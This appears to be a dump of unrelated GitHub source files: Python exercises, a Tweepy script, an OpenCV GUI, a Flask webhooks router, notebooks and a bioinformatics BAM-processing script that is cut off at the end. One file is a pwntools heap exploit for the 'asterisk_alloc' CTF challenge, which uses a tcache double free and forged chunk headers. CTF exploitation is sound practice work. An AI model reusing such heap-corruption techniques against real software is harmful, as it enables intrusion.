[-1,3,2,-4,5,-2,1,9,-6,-9]\nprint(\"Enter value by separating the value using space: \")\nlst = [int(val) for val in input().split()]\npolst = list(filter(positive,lst))\nnelst = list(filter(negitive,lst))\nprint(\"Positive value: \",polst)\nprint(\"Negitive value: \",nelst)","repo_name":"DineshPadhan/Minor-Projects","sub_path":"Python/Naresh IT/function/Special Function/filter/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"19642686507","text":"import os\nimport tweepy\nfrom IPython import embed\n\n#\n# Use Environment Variables to access passwords while keeping them private\n# reference: https://github.com/prof-rossetti/nyu-info-2335-70-201706/blob/master/notes/programming-languages/python/modules/os.md\n#\n\nconsumer_key = os.environ[\"TWITTER_API_KEY\"]\nconsumer_secret = os.environ[\"TWITTER_API_SECRET\"]\naccess_token = os.environ[\"TWITTER_ACCESS_TOKEN\"]\naccess_token_secret = os.environ[\"TWITTER_ACCESS_TOKEN_SECRET\"]\n\n#\n# Boilerplate code from http://tweepy.readthedocs.io/en/v3.5.0/getting_started.html ...\n#\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\napi = tweepy.API(auth)\n\n#\n# API Usage\n#\n\nuser = api.me()\nprint(\"---------------------------------------------------------------\")\nprint(\"RECENT TWEETS BY @{0} ({1} FOLLOWERS / {2} FOLLOWING):\".format(user.screen_name, user.followers_count, user.friends_count))\nprint(\"---------------------------------------------------------------\")\n\ntweets = api.user_timeline()\nfor tweet in tweets:\n # dir(tweet)\n #print(tweet._json)\n created_on = tweet.created_at.strftime(\"%Y-%m-%d\")\n print(\" + \", tweet.id_str, created_on, tweet.text)\n","repo_name":"s2t2/tweet-tweet-py","sub_path":"list_tweets.py","file_name":"list_tweets.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"300677123","text":"from PyQt5 import QtWidgets, QtGui, QtCore\nfrom UI import Ui_MainWindow\nimport os\nimport cv2\nimport numpy as np\n\nclass MainWindow_controller(QtWidgets.QMainWindow):\n def __init__(self):\n super().__init__() \n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n self.setup_control()\n\n def setup_control(self):\n self.ui.LoadImageButton1.clicked.connect(self.loadImage1)\n self.ui.LoadImageButton2.clicked.connect(self.loadImage2)\n self.ui.pushButton_1_1.clicked.connect(self.colorSeperate)\n self.ui.pushButton_1_2.clicked.connect(self.colorTransform)\n self.ui.pushButton_1_3.clicked.connect(self.colorDetection)\n self.ui.pushButton_1_4.clicked.connect(self.blending)\n self.ui.pushButton_2_1.clicked.connect(self.gaussianBlur)\n self.ui.pushButton_2_2.clicked.connect(self.bilateralFilter)\n self.ui.pushButton_2_3.clicked.connect(self.medianFilter)\n\n def loadImage1(self):\n filePath, _ = QtWidgets.QFileDialog.getOpenFileName(None, 'OpenFile', '', \"Image file(*.jpg)\")\n _, fileName = os.path.split(filePath)\n self.ui.ImageText1.setText(fileName)\n self.img1 = cv2.imread(filePath)\n\n def loadImage2(self):\n filePath, _ = QtWidgets.QFileDialog.getOpenFileName(None, 'OpenFile', '', \"Image file(*.jpg)\")\n _, fileName = os.path.split(filePath)\n self.ui.ImageText2.setText(fileName)\n self.img2 = cv2.imread(filePath)\n\n def colorSeperate(self):\n (B, G, R) = cv2.split(self.img1)\n zeros = np.zeros(self.img1.shape[:2], dtype='uint8')\n imgB = cv2.merge([B, zeros, zeros])\n imgG = cv2.merge([zeros, G, zeros])\n imgR = cv2.merge([zeros, zeros, R])\n cv2.imshow(\"B channel\", imgB)\n cv2.imshow(\"G channel\", imgG)\n cv2.imshow(\"R channel\", imgR)\n\n def colorTransform(self):\n gray = cv2.cvtColor(self.img1, cv2.COLOR_BGR2GRAY)\n cv2.imshow(\"I1\", gray)\n (B, G, R) = cv2.split(self.img1)\n for i in range(self.img1.shape[0]):\n for j in range(self.img1.shape[1]):\n gray[i][j] = (int(B[i][j]) + int(G[i][j]) + int(R[i][j])) / 3\n cv2.imshow(\"I2\", gray)\n \n def colorDetection(self):\n hsv = cv2.cvtColor(self.img1, cv2.COLOR_BGR2HSV)\n lowerG = np.array([40, 50, 20], np.uint8)\n upperG = np.array([80, 255, 255], np.uint8)\n lowerW = np.array([0, 0, 200], np.uint8)\n upperW = np.array([180, 20, 255], np.uint8)\n mask = cv2.inRange(hsv , lowerG , upperG)\n result = cv2.bitwise_and(self.img1, self.img1, mask=mask)\n cv2.imshow(\"I1\", result)\n mask = cv2.inRange(hsv, lowerW, upperW)\n result = cv2.bitwise_and(self.img1, self.img1, mask=mask)\n cv2.imshow(\"I2\", result)\n\n def onBlend(self, val):\n beta = val / 255\n alpha = 1 - beta\n result = cv2.addWeighted(self.img1, alpha, self.img2, beta, 0)\n cv2.imshow(\"Blend\", result)\n\n def blending(self):\n cv2.namedWindow(\"Blend\")\n cv2.resizeWindow(\"Blend\", self.img1.shape[1], self.img1.shape[0])\n cv2.createTrackbar(\"Blend\", \"Blend\", 0, 255, self.onBlend)\n cv2.imshow(\"Blend\", self.img1)\n \n def onBlur(self, m):\n image = cv2.GaussianBlur(self.img1, (2*m+1, 2*m+1), 0)\n cv2.imshow(\"gaussian_blur\", image)\n\n def gaussianBlur(self):\n cv2.namedWindow(\"gaussian_blur\")\n cv2.resizeWindow(\"gaussian_blur\", self.img1.shape[1], self.img1.shape[0])\n cv2.createTrackbar(\"magnitude\", \"gaussian_blur\", 0, 10, self.onBlur)\n cv2.imshow(\"gaussian_blur\", self.img1)\n\n def onBilateral(self, m):\n image = cv2.bilateralFilter(self.img1, 2*m+1, 90, 90)\n cv2.imshow(\"bilateral_filter\", image)\n \n def bilateralFilter(self):\n cv2.namedWindow(\"bilateral_filter\")\n cv2.resizeWindow(\"bilateral_filter\", self.img1.shape[1], self.img1.shape[0])\n cv2.createTrackbar(\"magnitude\", \"bilateral_filter\", 0, 10, self.onBilateral)\n cv2.imshow(\"bilateral_filter\", self.img1)\n\n def onMedian(self, m):\n image = cv2.medianBlur(self.img1, 2*m+1)\n cv2.imshow(\"median_filter\", image)\n \n def medianFilter(self):\n cv2.namedWindow(\"median_filter\")\n cv2.resizeWindow(\"median_filter\", self.img1.shape[1], self.img1.shape[0])\n cv2.createTrackbar(\"magnitude\", \"median_filter\", 0, 10, self.onMedian)\n cv2.imshow(\"median_filter\", self.img1)\n\n","repo_name":"Darth-Phoenix/OpenCV-DL","sub_path":"HW1_1/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":4472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"7049768761","text":"class Solution:\n def atMostNGivenDigitSet(self, digits: List[str], n: int) -> int:\n nStr = str(n)\n res = 0\n digits = list(map(int, digits))\n \n for i in range(1, len(nStr)):\n res += pow(len(digits), i)\n \n for i in range(len(nStr)):\n hasSameNumber = False\n \n for digit in digits:\n if digit < int(nStr[i]):\n res += pow(len(digits), len(nStr) - i - 1)\n elif digit == int(nStr[i]):\n hasSameNumber = True\n \n if not hasSameNumber: return res\n \n return res + 1","repo_name":"hwennnn/leetcode-solutions","sub_path":"problems/numbers_at_most_n_given_digit_set/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"91"} +{"seq_id":"30615968455","text":"#!/usr/bin/env python\n# coding: utf-8\nimport pandas as pd\nimport re\n\n\ndef ric_to_sym(fund_file):\n \"\"\"\n takes in the fundamentals data csv extracts RICS, and converts them to common ticker sybmols for continuity\n \"\"\"\n df = pd.read_csv(fund_file, index_col=0)\n inst_ric = df['Instrument'].unique()\n tics = [i.split('.')[0] for i in inst_ric]\n tics = ['BRK-B' if i == 'BRKb' else i for i in tics]\n tics = ['BF-B' if i == 'BFb' else i for i in tics]\n symbols = pd.DataFrame({'Symbols': tics})\n symbols.to_csv('symbols.csv', index=False)\n\n\nif __name__ == '__main__':\n fund_file = input('Path?')\n ric_to_sym(fund_file)\n","repo_name":"joeykess/SIADS697","sub_path":"ric_to_tic.py","file_name":"ric_to_tic.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"} +{"seq_id":"38293263509","text":"from flask import Blueprint, request\nimport requests\nfrom mbot.register.controller_register import login_required\nfrom mbot.common.flaskutils import api_result\nfrom plugins.webhooks.config import getconfig, saveconfig\n\n\napp = Blueprint('webhooks', __name__,\n static_folder='../frontend/dist', static_url_path='/frontend')\n\n\ndef request_parse(req_data):\n '''解析请求数据并以json形式返回'''\n if req_data.method == 'GET':\n return req_data.args\n elif req_data.method == 'POST':\n return req_data.get_json(force=True)\n\n\n@app.route('/config', methods=['GET'])\n@login_required()\ndef config():\n '''配置webhooks'''\n try:\n return api_result(0, 'success', getconfig())\n except Exception as e:\n return api_result(1, str(e))\n\n\n@app.route('/config', methods=['POST'])\n@login_required()\ndef config_post():\n '''保存webhooks配置'''\n data = request_parse(request)\n saveconfig(data)\n return api_result(0, 'success')\n\n\n@app.route('/test', methods=['POST'])\n@login_required()\ndef test():\n '''测试webhooks'''\n data = request_parse(request)\n url = data.get('url')\n if not url:\n return api_result(1, 'url不能为空')\n try:\n res = requests.post(url, json={\n \"event\": \"test\",\n \"data\": {\n \"msg\": \"这是一条测试消息\"\n }\n })\n return api_result(0, 'success', res.text)\n except Exception as e:\n return api_result(1, str(e))\n","repo_name":"zkl2333/mr-plugin","sub_path":"plugins/webhooks/api/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"17645533500","text":"import numpy as np\n\nwith open('rosalind_ba10k.txt', 'r') as f:\n n = int(f.readline().replace('\\n', ''))\n f.readline()\n string = f.readline().replace('\\n','')\n f.readline()\n alphabet1 = f.readline().split()\n alphabet = {}\n for i in range(len(alphabet1)):\n alphabet[alphabet1[i]] = i\n f.readline()\n states1 = f.readline().split()\n states = {}\n for i in range(len(states1)):\n states[states1[i]] = i\n f.readline()\n f.readline()\n transition = []\n emission = []\n\n for i in range(len(states)):\n temp = []\n x = f.readline().split()\n for i in range(1, len(states)+1):\n temp.append(float(x[i]))\n transition.append(temp)\n f.readline()\n f.readline()\n for i in range(len(states)):\n temp = []\n x = f.readline().split()\n for i in range(1, len(alphabet)+1):\n temp.append(float(x[i]))\n emission.append(temp)\n\nfor iteration in range(n):\n baum = np.zeros([len(states), len(string)])\n baum2 = np.zeros([len(states), len(string)])\n probTransition = np.zeros([len(states), len(states)])\n probEmission = np.zeros([len(states), len(alphabet)])\n\n for i in range(len(states)):\n baum[i][0] = emission[i][alphabet[string[0]]] / len(states)\n baum2[i][-1] = 1\n for i in range(len(string)-1):\n i2 = len(string)-1-i\n for j in range(len(states)):\n all1 = 0\n all2 = 0\n for k in range(len(states)):\n all1 += baum[k][i] * transition[k][j]\n all2 += emission[k][alphabet[string[i2]]] * transition[j][k] * baum2[k][i2]\n\n baum[j][i+1] = emission[j][alphabet[string[i+1]]] * all1\n baum2[j][i2-1] = all2\n sumProb = 0\n\n for i in range(len(states)):\n sumProb += baum[i][-1]\n\n for i in range(len(states)):\n for j in range(len(states)):\n all1 = 0\n for k in range(len(string)-1):\n all1 += (baum[i][k] * baum2[j][k+1] * emission[j][alphabet[string[k+1]]] * transition[i][j])\n probTransition[i][j] = all1 / sumProb\n\n for j in range(len(alphabet)):\n all2 = 0\n for k in range(len(string)):\n if j == alphabet[string[k]]:\n all2 += (baum[i][k] * baum2[i][k])\n probEmission[i][j] = all2 / sumProb\n\n for i in range(len(states)):\n sumAll = sum(probTransition[i])\n for j in range(len(states)):\n transition[i][j] = probTransition[i][j]/sumAll\n sumAll = sum(probEmission[i])\n for j in range(len(alphabet)):\n emission[i][j] = probEmission[i][j]/sumAll\n\nfor key in states.keys():\n print(key, end='')\n if key != list(states.keys())[-1]:\n print('\\t', end='')\nprint()\n\ncounter = 0\nfor key in states.keys():\n print(key, end='\\t')\n for j in range(len(states)):\n print(\"%.3f\" % transition[counter][j], end='')\n if j != len(states)-1:\n print('\\t', end='')\n counter += 1\n print()\nprint('--------')\nprint('\\t', end='')\nfor key in alphabet.keys():\n print(key, end='')\n if key != list(states.keys())[-1]:\n print('\\t', end='')\nprint()\ncounter = 0\nfor key in states.keys():\n print(key, end='\\t')\n for j in range(len(alphabet)):\n print(\"%.3f\" % emission[counter][j], end='')\n if j != len(alphabet)-1:\n print('\\t', end='')\n counter += 1\n print()","repo_name":"matinamehdizadeh/Bioinformatic_CE494","sub_path":"Implement Baum-Welch Learning/rosalind_ba10k_869_1_code.py","file_name":"rosalind_ba10k_869_1_code.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"35775404676","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC # Artificial HES Meta: Init Schemas\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Setup\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Code Promotion Project Paths\n\n# COMMAND ----------\n\n# MAGIC %run ./notebooks/code_promotion_paths\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Imports\n\n# COMMAND ----------\n\n# MAGIC %run ./notebooks/common/widget_utils\n\n# COMMAND ----------\n\nimport pprint\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Widgets\n\n# COMMAND ----------\n\nif check_databricks():\n dbutils.widgets.removeAll()\n dbutils.widgets.text(\"notebook_root\", \"artificial_hes_meta/dev\", \"0.1 Notebook Root\")\n dbutils.widgets.text(\"db\", \"artificial_hes_meta\", \"0.2 Project Database\")\nelse:\n # Only make widgets in databricks\n pass\n\n# COMMAND ----------\n\n# MAGIC %md ## Main\n\n# COMMAND ----------\n\nnotebook_root = get_required_argument(\"notebook_root\")\n*_, project_name, project_version = notebook_root.split(\"/\")\n\ncp_project_params = {}\ncp_project_params[\"project_name\"] = project_name\ncp_project_params[\"project_version\"] = project_version \ncp_project_params[\"adg_project_path\"] = get_adg_project_path(project_version)\n\n# COMMAND ----------\n\nprint(f\"Running with context:\") \npprint.pprint(cp_project_params)\n\n# COMMAND ----------\n\ndatabase_name = get_required_argument(\"db\")\nadg_schemas_path = cp_project_params[\"adg_project_path\"] / \"schemas\"\nopen_data_metadata_uplift_path = str(adg_schemas_path / \"uplifts\" / \"open_data_metadata_uplift\")\n\nnotebook_params = [\n {\n \"path\": open_data_metadata_uplift_path, \n \"timeout_seconds\": 0, \n \"arguments\": {\n \"database_name\": database_name, \n \"table_name\": \"artificial_hes_meta\",\n }\n },\n]\n\n# COMMAND ----------\n\nfor params in notebook_params:\n dbutils.notebook.run(**params)\n\n# COMMAND ----------\n\n ","repo_name":"NHSDigital/artificial-data-generator","sub_path":"projects/artificial_hes_meta/init_schemas.py","file_name":"init_schemas.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"91"} +{"seq_id":"32061340502","text":"\nimport pytest\nimport os\nimport shutil\nimport numpy as np\nimport skimage.io as si\n\nfrom .. import visualtools\n\ndir_test = './testing/'\ndir_verif = 'verification_data/'\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef setUp_tearDown():\n\t\"\"\" rm ./testing/ and ./test2/ before and after testing\"\"\"\n\n\t# setup\n\tif os.path.isdir(dir_test):\n\t\tshutil.rmtree(dir_test)\n\n\tshutil.copytree(dir_verif, dir_test)\n\n\tyield\n\t# tear down\n\tif os.path.isdir(dir_test):\n\t\tshutil.rmtree(dir_test)\n\n\ndef test_visualtools_fits_to_png():\n\n\tfn_in = dir_test+'stamp-OIII5008_I.fits'\n\tvisualtools.fits_to_png(fn_in, scaling='linear')\n\n\tassert os.path.isfile(dir_test+'stamp-OIII5008_I.png')\n\n\n\tfn_out = dir_test+'stamp-OIII5008_I_arcsinh.png'\n\tvisualtools.fits_to_png(fn_in, fn_out=fn_out, scaling='arcsinh')\n\tassert os.path.isfile(fn_out)\n\n\n\tfn_out = dir_test+'stamp-OIII5008_I_arcsinh_trim.png'\n\tvisualtools.fits_to_png(fn_in, fn_out=fn_out, scaling='arcsinh', vmax=10.)\n\tassert os.path.isfile(fn_out)\n\n\n\n\tfn_out = dir_test+'stamp-OIII5008_I_trim.png'\n\tvisualtools.fits_to_png(fn_in, fn_out=fn_out, scaling='linear', vmax=10.)\n\tassert os.path.isfile(fn_out)\n\n\n\ndef test_visualtoools_scale_img():\n\n\tepsilon = 1.e-3\n\n\timg = np.zeros([3, 3])\n\timg[0, 0] = 1.\n\n\timg_scaled = visualtools.scale_img(img, vmin=None, vmax=None)\n\n\timg[0, 0] = 1. - epsilon\n\n\tassert img_are_similar(img_scaled, img[::-1, :])\n\n\n\timg2 = np.zeros([3, 3])\n\timg2[0, 0] = 2.\n\n\timg_scaled = visualtools.scale_img(img2, vmin=None, vmax=None)\n\n\tassert img_are_similar(img_scaled, img[::-1, :])\n\n\tfn_out = dir_test+'testing.png'\n\tsi.imsave(fn_out, img_scaled)\n\n\n\ndef img_are_similar(img1, img2, threshold = 1.e-3):\n\n\treturn np.all(np.absolute(img1 - img2) < threshold)","repo_name":"aileisun/bubbleimg","sub_path":"bubbleimg/test/test_visualtools.py","file_name":"test_visualtools.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"91"} +{"seq_id":"20040308696","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\nfrom pwn import *\n# CUSTOM FUNCTIONS\ndef _snd(s):\n io.send(str(s))\ndef _sndl(s):\n io.sendline(str(s))\ndef _snda(a,s):\n io.sendafter(str(a),str(s))\ndef _sndla(a,s):\n io.sendlineafter(str(a),str(s))\ndef _rcvu(s):\n return io.recvuntil(str(s))\ndef _rcva():\n return io.recvall()\ndef _rcvn(n):\n return io.recv(n)\ncontext.terminal = ['tmux', 'split', '-h']\n\nexe = context.binary = ELF('asterisk_alloc')\nenv = {'LD_PRELOAD':'./libc-asterisk.so.6'}\nenv = {}\n\nhost = args.HOST or 'ast-alloc.chal.ctf.westerns.tokyo'\nport = int(args.PORT or 10001)\n\ndef local(argv=[], *a, **kw):\n '''Execute the target binary locally'''\n if args.GDB:\n return gdb.debug([exe.path] + argv,env=env, gdbscript=gdbscript, *a, **kw)\n else:\n return process([exe.path] + argv,env=env, *a, **kw)\n\ndef remote(argv=[], *a, **kw):\n '''Connect to the process on the remote host'''\n io = connect(host, port)\n if args.GDB:\n gdb.attach(io, gdbscript=gdbscript)\n return io\n\ndef start(argv=[], *a, **kw):\n '''Start the exploit against the target.'''\n if args.LOCAL:\n return local(argv, *a, **kw)\n else:\n return remote(argv, *a, **kw)\n\ngdbscript = '''\ncontinue\n'''.format(**locals())\n\n# -- Exploit goes here --\n\ndef malloc(sz, data=None):\n _sndla(':', 1)\n _sndla(':', sz)\n if data == None: return\n _snda(':', data)\ndef calloc(sz, data=None):\n _sndla(':', 2)\n _sndla(':', sz)\n if data == None: return\n _snda(':', data)\ndef realloc(sz, data=None):\n _sndla(':', 3)\n _sndla(':', sz)\n if data == None: return\n _snda(':', data)\ndef free(c):\n _sndla(':', 4)\n _sndla(':', c)\n\nio = start()\nif args.GDB:\n _rcvu('\\n')\n\nrealloc(0x28, p64(0x0) * 3 + p64(0x41))\ncalloc(0x428, p64(0x0) * 3 + p64(0x21) + p64(0x0) + p64(0x21))\nmalloc(0x28, \"A\")\nfree(\"r\")\nfree(\"r\")\nrealloc(0x28, \"\\x80\")\nrealloc(-1)\nrealloc(0x28, \"A\")\nrealloc(-1)\nrealloc(0x28, p64(0) + p64(0x31))\n\nio.interactive()\n\n","repo_name":"JustBeYou/ctfs","sub_path":"tokyo19/asterisk.py","file_name":"asterisk.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"91"} +{"seq_id":"16818619595","text":"import torch\r\nfrom torch import nn as NN\r\n\r\nclass DropBlock(NN.Module):\r\n def __init__(self, p=0):\r\n super(DropBlock, self).__init__()\r\n self.p = p\r\n\r\n def forward(self, x):\r\n if (not self.p) or (not self.training):\r\n return x\r\n\r\n batch_size = len(x)\r\n random_tensor = torch.cuda.FloatTensor(batch_size, 1, 1, 1).uniform_()\r\n bit_mask = self.p\",self.GetFileProperties)\n self.SearchButton.bind(\"\", self.GetFileProperties)\n self.SearchButton.grid(row=row, column=2)\n\n row += 1\n\n #Customer\n self.label = Label(text=\"Customer\").grid(row=row, column=0, sticky=W, padx=5)\n self.Customer = Label(text=\"\")\n self.Customer.grid(row=row, column=1, columnspan=2, sticky=W, padx=5)\n row += 1\n\n #File Description\n self.label = Label(text=\"File Description\").grid(row=row, column=0, sticky=W, padx=5)\n self.FileDescription = Label(text=\"\")\n self.FileDescription.grid(row=row, column=1, columnspan=2, sticky=W, padx=5)\n row += 1\n\n #File Name\n self.label = Label(text=\"File Name\").grid(row=row, column=0, sticky=W, padx=5)\n self.FileName = Label(text=\"\")\n self.FileName.grid(row=row, column=1, columnspan=2, sticky=W, padx=5)\n row += 1\n\n #FileSize\n self.label = Label(text=\"File Size\").grid(row=row, column=0, sticky=W, padx=5)\n self.FileSize = Label(text=\"\")\n self.FileSize.grid(row=row, column=1, columnspan=2, sticky=W, padx=5)\n row += 1\n\n #Number of Pages\n self.label = Label(text=\"Number of Pages\").grid(row=row, column=0, sticky=W, padx=5)\n self.PageCount = Label(text=\"\")\n self.PageCount.grid(row=row, column=1, columnspan=2, sticky=W, padx=5)\n row += 1\n\n self.FileId.focus_set()\n\n def GetFileProperties(self, *args):\n\n fileId = str(int(\"0\" + re.sub(\"\\D\",\"\",self.FileId.get())))\n\n if (fileId):\n secrets = netrc.netrc()\n MPUid, account, MPPwd = secrets.authenticators(\"MP\")\n dbConnection = pyodbc.connect(\"DSN=WEB3;UID=\" + MPUid + \";PWD=\" + MPPwd)\n dbCursor = dbConnection.cursor()\n dbCursor.execute(\"SET TEXTSIZE 2147483647 SELECT vcOwnerCustId, vcFileDesc, vcFileName, intFileSize, nPages FROM tblFCFileProps WHERE intFileId=\" + fileId)\n dbRow = dbCursor.fetchone()\n\n if (dbCursor.rowcount==0):\n self.Customer[\"text\"] = \"\"\n self.FileDescription[\"text\"] = \"\"\n self.FileName[\"text\"] = \"\"\n self.FileSize[\"text\"] = \"\"\n self.PageCount[\"text\"] = \"\"\n else:\n self.Customer[\"text\"] = dbRow.vcOwnerCustId\n self.FileDescription[\"text\"] = dbRow.vcFileDesc\n self.FileName[\"text\"] = dbRow.vcFileName\n self.FileSize[\"text\"] = dbRow.intFileSize\n self.PageCount[\"text\"] = dbRow.nPages\n\n\n #print(self.FileId.get())\n #self.FileName[\"text\"] = \"M2012-15-10y First File\"\n #self.UploadDate[\"text\"] = \"2012-15-102012-15-102012-15-10\"\n\n\n\nif (__name__=='__main__'):\n mainWindow = Tk()\n mainWindow.title(\"File Replacement Tool\")\n app = Application(mainWindow)\n mainWindow.geometry(\"500x100+100+100\")\n mainWindow.mainloop()\n\n","repo_name":"elindstr113/work","sub_path":"guigetfile.py","file_name":"guigetfile.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"43939463212","text":"ls = []\n\n\ndef selection_sort(ls):\n temp = 0\n for i in range(len(ls)):\n main_num = i\n\n for j in range(i+1,len(ls)):\n\n if ls[main_num] > ls[j]:\n main_num = j\n \n temp = ls[main_num];\n ls[main_num] = ls[i];\n ls[i] = temp;\n\n\nwhile True:\n put = input()\n ls = [int(x) for x in put.split()]\n\n if len(ls) == 4:\n break\n\nselection_sort(ls)\nprint(ls)\n\nprint(ls[3] - ls[0], end=\" \")\nprint(ls[3] - ls[2], end=\" \")\nprint(ls[3] - ls[1])\n\n\n\n\n","repo_name":"Anikcse18/CodeforcesSlovedProblempart-1","sub_path":"A. Restoring Three Numbers.py","file_name":"A. Restoring Three Numbers.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"16121495258","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom bootstrap3_datetime.widgets import DateTimePicker\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Fieldset, Submit\nfrom django import forms\nfrom django.forms.models import ModelForm\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom bridge.models import Affiliate, DeduccionBancaria\n\n\nclass FieldSetFormMixin(forms.Form):\n def __init__(self, *args, **kwargs):\n super(FieldSetFormMixin, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.html5_required = True\n self.helper.form_class = 'form-horizontal'\n self.helper.label_class = 'col-md-4'\n self.helper.field_class = 'col-md-7'\n self.field_names = self.fields.keys()\n\n def set_legend(self, text):\n self.helper.layout = Fieldset(text, *self.field_names)\n\n def set_action(self, action):\n self.helper.form_action = action\n\n\nclass FieldSetModelFormMixinNoButton(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super(FieldSetModelFormMixinNoButton, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.html5_required = True\n self.helper.form_class = 'form-horizontal'\n self.helper.label_class = 'col-md-4'\n self.helper.field_class = 'col-md-7'\n self.field_names = self.fields.keys()\n\n def set_legend(self, text):\n self.helper.layout = Fieldset(text, *self.field_names)\n\n def set_action(self, action):\n self.helper.form_action = action\n\n\nclass FieldSetModelFormMixin(FieldSetModelFormMixinNoButton):\n def __init__(self, *args, **kwargs):\n super(FieldSetModelFormMixin, self).__init__(*args, **kwargs)\n self.helper.add_input(Submit('submit', _('Guardar')))\n\n\nclass AfiliadoFormMixin(FieldSetModelFormMixin):\n afiliado = forms.ModelChoiceField(\n queryset=Affiliate.objects.all(),\n widget=forms.HiddenInput(),\n )\n\n\nclass DeduccionBancariaForm(AfiliadoFormMixin):\n class Meta:\n model = DeduccionBancaria\n fields = '__all__'\n\n day = forms.DateField(widget=DateTimePicker(\n options={\"format\": \"YYYY-MM-DD\"}),\n label=_('Fecha')\n )\n\n def __init__(self, *args, **kwargs):\n super(DeduccionBancariaForm, self).__init__(*args, **kwargs)\n self.set_legend(_('Formulario de Deduccion Bancaria'))\n","repo_name":"SpectralAngel/bridge","sub_path":"bridge/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"37690980413","text":"# 20221103 trimmging 후에 메핑완료된 파일에 대하여 아이디 처리 및 MQ > 20 QC \n# 추가로 long-read 아이디 이상한거까지 갗이 처리 2<>4 3<>5\nimport os,glob\n\nwDir = \"/BDATA/smkim/HLA_seq/longread/\"\n\ninDir = wDir + \"01.unmapped/trimmed/\"\noutDir = wDir + \"02.mapped/\"\n\n#KBA_ID\tshortread_ID\tShortread_filename_R1\tShortread_filename_R2\tlongread_ID\tLongread_filename\tLongread_filePath\tCELL\tID_check\tOLD_ID\tNEW_ID\n#NIH19KT0247\t247\t247_S99_L002_R1_001\t247_S99_L002_R2_001\t2020HLAseq001\tKDCDP.2020HLAseq001.bc1001--bc1001.ccs\tNA\t1st_Cell_CCS\t2020HLAseq001\tNIH19KT0247\tNIH19KT0247\n'''\n0 KBA_ID\n1 shortread_ID\n2 Shortread_filename_R1\n3 Shortread_filename_R2\n4 longread_ID\n5 Longread_filename\n6 Longread_filePath\n7 CELL\n8 ID_check\n9 OLD_ID\n10 NEW_ID\n'''\n'''\nsamtools view -H 5th_Cell.3832.bc1008--bc1008_trimmed_toBAM_mapped.bam > header.txt\n@RG/tID:myid/tSM:mysample # 해더에 추가\nsamtools reheader header.txt 5th_Cell.3832.bc1008--bc1008_trimmed_toBAM_mapped.bam | samtools view -h -q 20 -o header.change.test.bam\n''' \n\n#2nd_Cell.724.bc1002--bc1002_trimmed_toBAM_mapped.bam\n#4th_Cell.bc1010--bc1010_trimmed_toBAM_mapped.bam\n#5th_Cell.3832.bc1008--bc1008_trimmed_toBAM_mapped.bam\n#KCDCP.2020HLAseq002.bc1002--bc1002.ccs_trimmed_toBAM_mapped.bam\ndef main():\n dfs = glob.glob(inDir + \"*_mapped.bam\")\n refs = open(\"/BDATA/smkim/HLA_seq/HLAseq.ID.table_v2.txt\")\n refs = [s.replace(\"\\n\",\"\") for s in refs]\n ref_dic = {}\n for i in refs[1:]:\n line = i.split(\"\\t\")\n ref_dic.setdefault(line[5],line[10])\n #print(refs)\n for i in dfs:\n line = i.replace(inDir,\"\").split(\".\")\n check = line[0]\n if check not in [\"KCDCP\",\"4th_Cell\"]:\n line.pop(1)\n idx = '.'.join(line).replace(\"_trimmed_toBAM_mapped.bam\",\"\")\n print(idx)\n os.system(\"samtools view -H %s > tmp.header.txt\"%i)\n old_header = open(\"tmp.header.txt\",\"r\")\n new_header = open(\"new.header.txt\",\"w\")\n old_df = old_header.readlines()\n for j in old_df:\n new_header.write(j)\n #print(old_df)\n #new_header.write(\"\\n\".join(old_df))\n new_header.write(\"@RG\\tID:Pacbio_HLA_Hifi_SequalII SM:%s\\n\"%(ref_dic[idx]))\n new_header.close()\n out = outDir + \"HLA.Longread.Seq.%s.trimmed.align.Q20.bam\"%(ref_dic[idx])\n if os.path.isfile(out):\n continue\n os.system(\"samtools reheader new.header.txt %s | samtools view -h -q 20 -o 